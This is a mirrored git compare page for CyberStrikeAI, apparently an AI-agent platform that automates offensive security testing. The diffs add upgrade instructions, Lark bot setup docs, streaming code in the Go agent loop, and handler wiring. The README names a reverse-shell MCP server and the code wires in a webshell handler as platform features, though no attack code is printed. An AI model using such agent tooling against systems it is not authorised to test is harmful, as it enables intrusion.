mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-05-16 21:23:29 +02:00
Compare commits
29 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 2545774187 | |||
| 4bc62773a9 | |||
| 38285ba888 | |||
| 251b5fd440 | |||
| 922136f545 | |||
| 735cd5edc4 | |||
| 6a32dcc08e | |||
| b8b7aa0ffe | |||
| 5224c68bc7 | |||
| b504f405a8 | |||
| 3dc6dbcfe0 | |||
| 2ab8d4c731 | |||
| 5884902090 | |||
| c92ce0379e | |||
| 5fe5f5b71f | |||
| 36099a60d9 | |||
| c6adcd19dd | |||
| 52e84b0ef5 | |||
| 1d505b7b10 | |||
| c9f7e8f53f | |||
| 3b7d5357b8 | |||
| ca01cad2c8 | |||
| 0e83c20e47 | |||
| 359ac45ecf | |||
| df14545582 | |||
| 147e5e4529 | |||
| c47b8ff33a | |||
| cd5190362f | |||
| 797b10b176 |
@@ -7,6 +7,8 @@
|
||||
|
||||
[中文](README_CN.md) | [English](README.md)
|
||||
|
||||
**Community**: [Join us on Discord](https://discord.gg/8PjVCMu8Zw)
|
||||
|
||||
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, and comprehensive lifecycle management capabilities. Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
|
||||
|
||||
|
||||
@@ -170,6 +172,27 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
|
||||
**Note:** The Python virtual environment (`venv/`) is automatically created and managed by `run.sh`. Tools that require Python (like `api-fuzzer`, `http-framework-test`, etc.) will automatically use this environment.
|
||||
|
||||
### Version Update (No Breaking Changes)
|
||||
|
||||
**CyberStrikeAI one-click upgrade (recommended):**
|
||||
1. (First time) enable the script: `chmod +x upgrade.sh`
|
||||
2. Upgrade with: `./upgrade.sh` (optional flags: `--tag vX.Y.Z`, `--no-venv`, `--preserve-custom`, `--yes`)
|
||||
3. The script will back up your `config.yaml` and `data/`, upgrade the code from GitHub Release, update `config.yaml`'s `version`, then restart the server.
|
||||
|
||||
Recommended one-liner:
|
||||
`chmod +x upgrade.sh && ./upgrade.sh --yes`
|
||||
|
||||
If something goes wrong, you can restore from `.upgrade-backup/` (or manually copy `/data` and `config.yaml` back) and run `./run.sh` again.
|
||||
|
||||
Requirements / tips:
|
||||
* You need `curl` or `wget` for downloading Release packages.
|
||||
* `rsync` is recommended/required for the safe code sync.
|
||||
* If GitHub API rate-limits you, set `export GITHUB_TOKEN="..."` before running `./upgrade.sh`.
|
||||
|
||||
⚠️ **Note:** This procedure only applies to version updates without compatibility or breaking changes. If a release includes compatibility changes, this method may not apply.
|
||||
|
||||
**Examples:** No breaking changes — e.g. v1.3.1 → v1.3.2; with breaking changes — e.g. v1.3.1 → v1.4.0. The project follows [Semantic Versioning](https://semver.org/) (SemVer): when only the patch version (third number) changes, this upgrade path is usually safe; when the minor or major version changes, config, data, or APIs may have changed — check the release notes before using this method.
|
||||
|
||||
### Core Workflows
|
||||
- **Conversation testing** – Natural-language prompts trigger toolchains with streaming SSE output.
|
||||
- **Role-based testing** – Select from predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, etc.) to customize AI behavior and tool availability. Each role applies custom system prompts and can restrict available tools for focused testing scenarios.
|
||||
@@ -257,6 +280,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **Web mode** – ships with HTTP MCP server automatically consumed by the UI.
|
||||
- **MCP stdio mode** – `go run cmd/mcp-stdio/main.go` exposes the agent to Cursor/CLI.
|
||||
- **External MCP federation** – register third-party MCP servers (HTTP, stdio, or SSE) from the UI, toggle them per engagement, and monitor their health and call volume in real time.
|
||||
- **Optional MCP servers** – the [`mcp-servers/`](mcp-servers/README.md) directory provides standalone MCPs (e.g. reverse shell). They speak standard MCP over stdio and work with CyberStrikeAI (Settings → External MCP), Cursor, VS Code, and other MCP clients.
|
||||
|
||||
#### MCP stdio quick start
|
||||
1. **Build the binary** (run from the project root):
|
||||
|
||||
@@ -6,6 +6,8 @@
|
||||
|
||||
[中文](README_CN.md) | [English](README.md)
|
||||
|
||||
**社区**:[加入 Discord](https://discord.gg/8PjVCMu8Zw)
|
||||
|
||||
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能,以及完整的测试生命周期管理能力。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
|
||||
|
||||
|
||||
@@ -169,6 +171,26 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
|
||||
**说明:** Python 虚拟环境(`venv/`)由 `run.sh` 自动创建和管理。需要 Python 的工具(如 `api-fuzzer`、`http-framework-test` 等)会自动使用该环境。
|
||||
|
||||
### CyberStrikeAI 版本更新(无兼容性问题)
|
||||
|
||||
1. (首次使用)启用脚本:`chmod +x upgrade.sh`
|
||||
2. 一键升级:`./upgrade.sh`(可选参数:`--tag vX.Y.Z`、`--no-venv`、`--preserve-custom`、`--yes`)
|
||||
3. 脚本会备份你的 `config.yaml` 和 `data/`,从 GitHub Release 升级代码,更新 `config.yaml` 的 `version` 字段后重启服务。
|
||||
|
||||
推荐的一键指令:
|
||||
`chmod +x upgrade.sh && ./upgrade.sh --yes`
|
||||
|
||||
如果升级失败,可以从 `.upgrade-backup/` 恢复,或按旧方式手动拷贝 `/data` 和 `config.yaml` 后再运行 `./run.sh`。
|
||||
|
||||
依赖/提示:
|
||||
* 需要 `curl` 或 `wget` 用于下载 GitHub Release 包。
|
||||
* 建议/需要 `rsync` 用于安全同步代码。
|
||||
* 如果遇到 GitHub API 限流,运行前设置 `export GITHUB_TOKEN="..."` 再执行 `./upgrade.sh`。
|
||||
|
||||
⚠️ **注意:** 仅适用于无兼容性变更的版本更新。若版本存在兼容性调整,此方法不适用。
|
||||
|
||||
**举例:** 无兼容性变更如 v1.3.1 → v1.3.2;有兼容性变更如 v1.3.1 → v1.4.0。项目采用语义化版本(SemVer):仅第三位(补丁号)变更时通常可安全按上述步骤升级;次版本号或主版本号变更时可能涉及配置、数据或接口调整,需查阅 release notes 再决定是否适用本方法。
|
||||
|
||||
### 常用流程
|
||||
- **对话测试**:自然语言触发多步工具编排,SSE 实时输出。
|
||||
- **角色化测试**:从预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试等)中选择,自定义 AI 行为和可用工具。每个角色可应用自定义系统提示词,并可限制可用工具列表,实现聚焦的测试场景。
|
||||
@@ -255,6 +277,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
- **Web 模式**:自带 HTTP MCP 服务供前端调用。
|
||||
- **MCP stdio 模式**:`go run cmd/mcp-stdio/main.go` 可接入 Cursor/命令行。
|
||||
- **外部 MCP 联邦**:在设置中注册第三方 MCP(HTTP/stdio/SSE),按需启停并实时查看调用统计与健康度。
|
||||
- **可选 MCP 服务**:项目中的 [`mcp-servers/`](mcp-servers/README_CN.md) 目录提供独立 MCP(如反向 Shell),采用标准 MCP stdio,可在 CyberStrikeAI(设置 → 外部 MCP)、Cursor、VS Code 等任意支持 MCP 的客户端中使用。
|
||||
|
||||
#### MCP stdio 快速集成
|
||||
1. **编译可执行文件**(在项目根目录执行):
|
||||
|
||||
+1
-1
@@ -10,7 +10,7 @@
|
||||
# ============================================
|
||||
|
||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||
version: "v1.3.25"
|
||||
version: "v1.3.29"
|
||||
|
||||
# 服务器配置
|
||||
server:
|
||||
|
||||
+19
-1
@@ -98,7 +98,25 @@
|
||||
| App Secret | 飞书开放平台应用凭证中的 App Secret |
|
||||
| Verify Token | 事件订阅用(可选) |
|
||||
|
||||
**飞书配置简要步骤**:登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存并**重启应用**。
|
||||
**飞书配置简要步骤**:登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → **在「事件订阅」中添加事件**(见下)→ 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存。
|
||||
|
||||
**重要:事件订阅**
|
||||
飞书长连接只有在开放平台订阅了「接收消息」事件后才会收到用户消息。请在该应用的 **事件订阅** 页面点击「添加事件」,在「消息与群组」下勾选 **接收消息(im.message.receive_v1)** 或同类事件;若未添加,连接会建立成功但收不到任何消息,表现为发消息后本地无日志、机器人无回复。
|
||||
|
||||
**飞书权限配置(必读)**
|
||||
在 **权限管理** 中需开通以下权限(与开放平台列表中的名称、标识一致);修改后需在 **版本管理与发布** 中发布新版本才生效。
|
||||
|
||||
| 权限名称(开放平台中显示) | 权限标识 | 说明 |
|
||||
|----------------------------|----------|------|
|
||||
| 获取与发送单聊、群组消息 | `im:message` | 收发消息的基础权限,**必须开通**。 |
|
||||
| 接收群聊中@机器人消息事件 | `im:message.group_at_msg:readonly` | 群聊中 @ 机器人时收消息,需开通。 |
|
||||
| 读取用户发给机器人的单聊消息 | `im:message.p2p_msg:readonly` | 单聊收消息,**必须开通**,否则私聊发消息没反应。 |
|
||||
| 获取单聊、群组消息 | `im:message:readonly` | 读取消息内容,**必须开通**。 |
|
||||
|
||||
**事件订阅**(与权限分开配置):在 **事件订阅** 中添加 **接收消息(im.message.receive_v1)**,否则长连接收不到消息推送。
|
||||
|
||||
- **单聊**:在飞书里打开与机器人的私聊窗口,直接发「帮助」或任意文字即可,无需 @。
|
||||
- **群聊**:在群里只有 **@ 机器人** 后发送的内容才会被机器人收到并回复。
|
||||
|
||||
---
|
||||
|
||||
|
||||
+19
-1
@@ -97,7 +97,25 @@ If you only have a **custom bot** Webhook URL (`oapi.dingtalk.com/robot/send?acc
|
||||
| App Secret | From Lark open platform app credentials |
|
||||
| Verify Token | Optional; for event subscription |
|
||||
|
||||
**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
|
||||
**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Add **event subscription** and **permissions** below → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
|
||||
|
||||
**Event subscription**
|
||||
The long-lived connection only receives message events if you subscribe to them. In the app’s **Events and callbacks** (事件与回调) → **Event subscription** (事件订阅), add the event **Receive message** (**im.message.receive_v1**). Without it, the connection succeeds but no message events are delivered (no logs when users send messages).
|
||||
|
||||
**Lark permissions (required)**
|
||||
In **Permission management** (权限管理), enable the following (names and identifiers match the Lark console). After changes, **publish a new version** in Version management and release so they take effect.
|
||||
|
||||
| Permission name (as shown in console) | Identifier | Notes |
|
||||
|--------------------------------------|------------|-------|
|
||||
| 获取与发送单聊、群组消息 (Get and send direct & group messages) | `im:message` | Base permission for sending and receiving; **required**. |
|
||||
| 接收群聊中@机器人消息事件 (Receive @bot messages in group chat) | `im:message.group_at_msg:readonly` | Required for group chat when users @ the bot. |
|
||||
| 读取用户发给机器人的单聊消息 (Read direct messages from users to bot) | `im:message.p2p_msg:readonly` | **Required** for 1:1 chat; otherwise no response in private chat. |
|
||||
| 获取单聊、群组消息 (Get direct & group messages) | `im:message:readonly` | **Required** to read message content. |
|
||||
|
||||
**Event subscription** (configured separately): In **Event subscription** (事件订阅), add **Receive message** (**im.message.receive_v1**). Without it, the long-lived connection will not receive message events.
|
||||
|
||||
- **1:1 chat**: Open the bot’s private chat in Lark and send e.g. “帮助” or “help”; no @ needed.
|
||||
- **Group chat**: Only messages that **@ the bot** are received and replied to.
|
||||
|
||||
---
|
||||
|
||||
|
||||
+295
-33
@@ -15,6 +15,7 @@ import (
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
"cyberstrike-ai/internal/openai"
|
||||
"cyberstrike-ai/internal/security"
|
||||
"cyberstrike-ai/internal/storage"
|
||||
|
||||
"go.uber.org/zap"
|
||||
@@ -196,6 +197,7 @@ type OpenAIRequest struct {
|
||||
Model string `json:"model"`
|
||||
Messages []ChatMessage `json:"messages"`
|
||||
Tools []Tool `json:"tools,omitempty"`
|
||||
Stream bool `json:"stream,omitempty"`
|
||||
}
|
||||
|
||||
// OpenAIResponse OpenAI API响应
|
||||
@@ -529,6 +531,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
var currentReActInput string
|
||||
|
||||
maxIterations := a.maxIterations
|
||||
thinkingStreamSeq := 0
|
||||
for i := 0; i < maxIterations; i++ {
|
||||
// 先获取本轮可用工具并统计 tools token,再压缩,以便压缩时预留 tools 占用的空间
|
||||
tools := a.getAvailableTools(roleTools)
|
||||
@@ -630,7 +633,28 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
|
||||
// 调用OpenAI
|
||||
sendProgress("progress", "正在调用AI模型...", nil)
|
||||
response, err := a.callOpenAI(ctx, messages, tools)
|
||||
thinkingStreamSeq++
|
||||
thinkingStreamId := fmt.Sprintf("thinking-stream-%s-%d-%d", conversationID, i+1, thinkingStreamSeq)
|
||||
thinkingStreamStarted := false
|
||||
|
||||
response, err := a.callOpenAIStreamWithToolCalls(ctx, messages, tools, func(delta string) error {
|
||||
if delta == "" {
|
||||
return nil
|
||||
}
|
||||
if !thinkingStreamStarted {
|
||||
thinkingStreamStarted = true
|
||||
sendProgress("thinking_stream_start", " ", map[string]interface{}{
|
||||
"streamId": thinkingStreamId,
|
||||
"iteration": i + 1,
|
||||
"toolStream": false,
|
||||
})
|
||||
}
|
||||
sendProgress("thinking_stream_delta", delta, map[string]interface{}{
|
||||
"streamId": thinkingStreamId,
|
||||
"iteration": i + 1,
|
||||
})
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
// API调用失败,保存当前的ReAct输入和错误信息作为输出
|
||||
result.LastReActInput = currentReActInput
|
||||
@@ -682,10 +706,12 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
|
||||
// 检查是否有工具调用
|
||||
if len(choice.Message.ToolCalls) > 0 {
|
||||
// 如果有思考内容,先发送思考事件
|
||||
// 思考内容:如果本轮启用了思考流式增量(thinking_stream_*),前端会去重;
|
||||
// 同时也需要在该“思考阶段结束”时补一条可落库的 thinking(用于刷新后持久化展示)。
|
||||
if choice.Message.Content != "" {
|
||||
sendProgress("thinking", choice.Message.Content, map[string]interface{}{
|
||||
"iteration": i + 1,
|
||||
"streamId": thinkingStreamId,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -717,7 +743,21 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
})
|
||||
|
||||
// 执行工具
|
||||
execResult, err := a.executeToolViaMCP(ctx, toolCall.Function.Name, toolCall.Function.Arguments)
|
||||
toolCtx := context.WithValue(ctx, security.ToolOutputCallbackCtxKey, security.ToolOutputCallback(func(chunk string) {
|
||||
if strings.TrimSpace(chunk) == "" {
|
||||
return
|
||||
}
|
||||
sendProgress("tool_result_delta", chunk, map[string]interface{}{
|
||||
"toolName": toolCall.Function.Name,
|
||||
"toolCallId": toolCall.ID,
|
||||
"index": idx + 1,
|
||||
"total": len(choice.Message.ToolCalls),
|
||||
"iteration": i + 1,
|
||||
// success 在最终 tool_result 事件里会以 success/isError 标记为准
|
||||
})
|
||||
}))
|
||||
|
||||
execResult, err := a.executeToolViaMCP(toolCtx, toolCall.Function.Name, toolCall.Function.Arguments)
|
||||
if err != nil {
|
||||
// 构建详细的错误信息,帮助AI理解问题并做出决策
|
||||
errorMsg := a.formatToolError(toolCall.Function.Name, toolCall.Function.Arguments, err)
|
||||
@@ -792,16 +832,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
Content: "这是最后一次迭代。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试,请提供详细的下一步执行计划。请直接回复,不要调用工具。",
|
||||
})
|
||||
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
|
||||
// 立即调用OpenAI获取总结
|
||||
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
|
||||
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
|
||||
summaryChoice := summaryResponse.Choices[0]
|
||||
if summaryChoice.Message.Content != "" {
|
||||
result.Response = summaryChoice.Message.Content
|
||||
result.LastReActOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复)
|
||||
sendProgress("response_start", "", map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"mcpExecutionIds": result.MCPExecutionIDs,
|
||||
"messageGeneratedBy": "summary",
|
||||
})
|
||||
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
|
||||
sendProgress("response_delta", delta, map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
})
|
||||
return nil
|
||||
})
|
||||
if strings.TrimSpace(streamText) != "" {
|
||||
result.Response = streamText
|
||||
result.LastReActOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
// 如果获取总结失败,跳出循环,让后续逻辑处理
|
||||
break
|
||||
@@ -817,7 +864,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
})
|
||||
|
||||
// 发送AI思考内容(如果没有工具调用)
|
||||
if choice.Message.Content != "" {
|
||||
if choice.Message.Content != "" && !thinkingStreamStarted {
|
||||
sendProgress("thinking", choice.Message.Content, map[string]interface{}{
|
||||
"iteration": i + 1,
|
||||
})
|
||||
@@ -832,16 +879,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
Content: "这是最后一次迭代。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试,请提供详细的下一步执行计划。请直接回复,不要调用工具。",
|
||||
})
|
||||
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
|
||||
// 立即调用OpenAI获取总结
|
||||
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
|
||||
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
|
||||
summaryChoice := summaryResponse.Choices[0]
|
||||
if summaryChoice.Message.Content != "" {
|
||||
result.Response = summaryChoice.Message.Content
|
||||
result.LastReActOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复)
|
||||
sendProgress("response_start", "", map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"mcpExecutionIds": result.MCPExecutionIDs,
|
||||
"messageGeneratedBy": "summary",
|
||||
})
|
||||
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
|
||||
sendProgress("response_delta", delta, map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
})
|
||||
return nil
|
||||
})
|
||||
if strings.TrimSpace(streamText) != "" {
|
||||
result.Response = streamText
|
||||
result.LastReActOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
// 如果获取总结失败,使用当前回复作为结果
|
||||
if choice.Message.Content != "" {
|
||||
@@ -872,15 +926,23 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
|
||||
messages = append(messages, finalSummaryPrompt)
|
||||
messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools,不预留
|
||||
|
||||
summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具,强制AI直接回复
|
||||
if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
|
||||
summaryChoice := summaryResponse.Choices[0]
|
||||
if summaryChoice.Message.Content != "" {
|
||||
result.Response = summaryChoice.Message.Content
|
||||
result.LastReActOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
// 流式调用OpenAI获取总结(不提供工具,强制AI直接回复)
|
||||
sendProgress("response_start", "", map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
"mcpExecutionIds": result.MCPExecutionIDs,
|
||||
"messageGeneratedBy": "max_iter_summary",
|
||||
})
|
||||
streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
|
||||
sendProgress("response_delta", delta, map[string]interface{}{
|
||||
"conversationId": conversationID,
|
||||
})
|
||||
return nil
|
||||
})
|
||||
if strings.TrimSpace(streamText) != "" {
|
||||
result.Response = streamText
|
||||
result.LastReActOutput = result.Response
|
||||
sendProgress("progress", "总结生成完成", nil)
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// 如果无法生成总结,返回友好的提示
|
||||
@@ -1200,6 +1262,206 @@ func (a *Agent) callOpenAISingle(ctx context.Context, messages []ChatMessage, to
|
||||
return &response, nil
|
||||
}
|
||||
|
||||
// callOpenAISingleStreamText 单次调用OpenAI的流式模式,只用于“不会调用工具”的纯文本输出(tools 为空时最佳)。
|
||||
// onDelta 每收到一段 content delta,就回调一次;如果 callback 返回错误,会终止读取并返回错误。
|
||||
func (a *Agent) callOpenAISingleStreamText(ctx context.Context, messages []ChatMessage, tools []Tool, onDelta func(delta string) error) (string, error) {
|
||||
reqBody := OpenAIRequest{
|
||||
Model: a.config.Model,
|
||||
Messages: messages,
|
||||
Stream: true,
|
||||
}
|
||||
if len(tools) > 0 {
|
||||
reqBody.Tools = tools
|
||||
}
|
||||
|
||||
if a.openAIClient == nil {
|
||||
return "", fmt.Errorf("OpenAI客户端未初始化")
|
||||
}
|
||||
|
||||
return a.openAIClient.ChatCompletionStream(ctx, reqBody, onDelta)
|
||||
}
|
||||
|
||||
// callOpenAIStreamText 调用OpenAI流式模式(带重试),仅在“未输出任何 delta”时才允许重试,避免重复发送已下发的内容。
|
||||
func (a *Agent) callOpenAIStreamText(ctx context.Context, messages []ChatMessage, tools []Tool, onDelta func(delta string) error) (string, error) {
|
||||
maxRetries := 3
|
||||
var lastErr error
|
||||
|
||||
for attempt := 0; attempt < maxRetries; attempt++ {
|
||||
var deltasSent bool
|
||||
full, err := a.callOpenAISingleStreamText(ctx, messages, tools, func(delta string) error {
|
||||
deltasSent = true
|
||||
return onDelta(delta)
|
||||
})
|
||||
if err == nil {
|
||||
if attempt > 0 {
|
||||
a.logger.Info("OpenAI stream 调用重试成功",
|
||||
zap.Int("attempt", attempt+1),
|
||||
zap.Int("maxRetries", maxRetries),
|
||||
)
|
||||
}
|
||||
return full, nil
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
// 已经开始输出了 delta,避免重复内容:直接失败让上层处理。
|
||||
if deltasSent {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if !a.isRetryableError(err) {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if attempt < maxRetries-1 {
|
||||
backoff := time.Duration(1<<uint(attempt+1)) * time.Second
|
||||
if backoff > 30*time.Second {
|
||||
backoff = 30 * time.Second
|
||||
}
|
||||
a.logger.Warn("OpenAI stream 调用失败,准备重试",
|
||||
zap.Error(err),
|
||||
zap.Int("attempt", attempt+1),
|
||||
zap.Int("maxRetries", maxRetries),
|
||||
zap.Duration("backoff", backoff),
|
||||
)
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", fmt.Errorf("上下文已取消: %w", ctx.Err())
|
||||
case <-time.After(backoff):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("重试%d次后仍然失败: %w", maxRetries, lastErr)
|
||||
}
|
||||
|
||||
// callOpenAISingleStreamWithToolCalls 单次调用OpenAI流式模式(带工具调用解析),不包含重试逻辑。
|
||||
func (a *Agent) callOpenAISingleStreamWithToolCalls(
|
||||
ctx context.Context,
|
||||
messages []ChatMessage,
|
||||
tools []Tool,
|
||||
onContentDelta func(delta string) error,
|
||||
) (*OpenAIResponse, error) {
|
||||
reqBody := OpenAIRequest{
|
||||
Model: a.config.Model,
|
||||
Messages: messages,
|
||||
Stream: true,
|
||||
}
|
||||
if len(tools) > 0 {
|
||||
reqBody.Tools = tools
|
||||
}
|
||||
if a.openAIClient == nil {
|
||||
return nil, fmt.Errorf("OpenAI客户端未初始化")
|
||||
}
|
||||
|
||||
content, streamToolCalls, finishReason, err := a.openAIClient.ChatCompletionStreamWithToolCalls(ctx, reqBody, onContentDelta)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
toolCalls := make([]ToolCall, 0, len(streamToolCalls))
|
||||
for _, stc := range streamToolCalls {
|
||||
fnArgsStr := stc.FunctionArgsStr
|
||||
args := make(map[string]interface{})
|
||||
if strings.TrimSpace(fnArgsStr) != "" {
|
||||
if err := json.Unmarshal([]byte(fnArgsStr), &args); err != nil {
|
||||
// 兼容:arguments 不一定是严格 JSON
|
||||
args = map[string]interface{}{"raw": fnArgsStr}
|
||||
}
|
||||
}
|
||||
|
||||
typ := stc.Type
|
||||
if strings.TrimSpace(typ) == "" {
|
||||
typ = "function"
|
||||
}
|
||||
|
||||
toolCalls = append(toolCalls, ToolCall{
|
||||
ID: stc.ID,
|
||||
Type: typ,
|
||||
Function: FunctionCall{
|
||||
Name: stc.FunctionName,
|
||||
Arguments: args,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
response := &OpenAIResponse{
|
||||
ID: "",
|
||||
Choices: []Choice{
|
||||
{
|
||||
Message: MessageWithTools{
|
||||
Role: "assistant",
|
||||
Content: content,
|
||||
ToolCalls: toolCalls,
|
||||
},
|
||||
FinishReason: finishReason,
|
||||
},
|
||||
},
|
||||
}
|
||||
return response, nil
|
||||
}
|
||||
|
||||
// callOpenAIStreamWithToolCalls 调用OpenAI流式模式(带重试),仅当还没有输出任何 content delta 时才允许重试。
|
||||
func (a *Agent) callOpenAIStreamWithToolCalls(
|
||||
ctx context.Context,
|
||||
messages []ChatMessage,
|
||||
tools []Tool,
|
||||
onContentDelta func(delta string) error,
|
||||
) (*OpenAIResponse, error) {
|
||||
maxRetries := 3
|
||||
var lastErr error
|
||||
|
||||
for attempt := 0; attempt < maxRetries; attempt++ {
|
||||
deltasSent := false
|
||||
resp, err := a.callOpenAISingleStreamWithToolCalls(ctx, messages, tools, func(delta string) error {
|
||||
deltasSent = true
|
||||
if onContentDelta != nil {
|
||||
return onContentDelta(delta)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err == nil {
|
||||
if attempt > 0 {
|
||||
a.logger.Info("OpenAI stream 调用重试成功",
|
||||
zap.Int("attempt", attempt+1),
|
||||
zap.Int("maxRetries", maxRetries),
|
||||
)
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if deltasSent {
|
||||
// 已经开始输出了 delta:避免重复发送
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if !a.isRetryableError(err) {
|
||||
return nil, err
|
||||
}
|
||||
if attempt < maxRetries-1 {
|
||||
backoff := time.Duration(1<<uint(attempt+1)) * time.Second
|
||||
if backoff > 30*time.Second {
|
||||
backoff = 30 * time.Second
|
||||
}
|
||||
a.logger.Warn("OpenAI stream 调用失败,准备重试",
|
||||
zap.Error(err),
|
||||
zap.Int("attempt", attempt+1),
|
||||
zap.Int("maxRetries", maxRetries),
|
||||
zap.Duration("backoff", backoff),
|
||||
)
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, fmt.Errorf("上下文已取消: %w", ctx.Err())
|
||||
case <-time.After(backoff):
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("重试%d次后仍然失败: %w", maxRetries, lastErr)
|
||||
}
|
||||
|
||||
// ToolExecutionResult 工具执行结果
|
||||
type ToolExecutionResult struct {
|
||||
Result string
|
||||
|
||||
@@ -320,6 +320,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
attackChainHandler := handler.NewAttackChainHandler(db, &cfg.OpenAI, log.Logger)
|
||||
vulnerabilityHandler := handler.NewVulnerabilityHandler(db, log.Logger)
|
||||
webshellHandler := handler.NewWebShellHandler(log.Logger, db)
|
||||
chatUploadsHandler := handler.NewChatUploadsHandler(log.Logger)
|
||||
registerWebshellTools(mcpServer, db, webshellHandler, log.Logger)
|
||||
configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger)
|
||||
externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger)
|
||||
@@ -439,6 +440,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
app, // 传递 App 实例以便动态获取 knowledgeHandler
|
||||
vulnerabilityHandler,
|
||||
webshellHandler,
|
||||
chatUploadsHandler,
|
||||
roleHandler,
|
||||
skillsHandler,
|
||||
fofaHandler,
|
||||
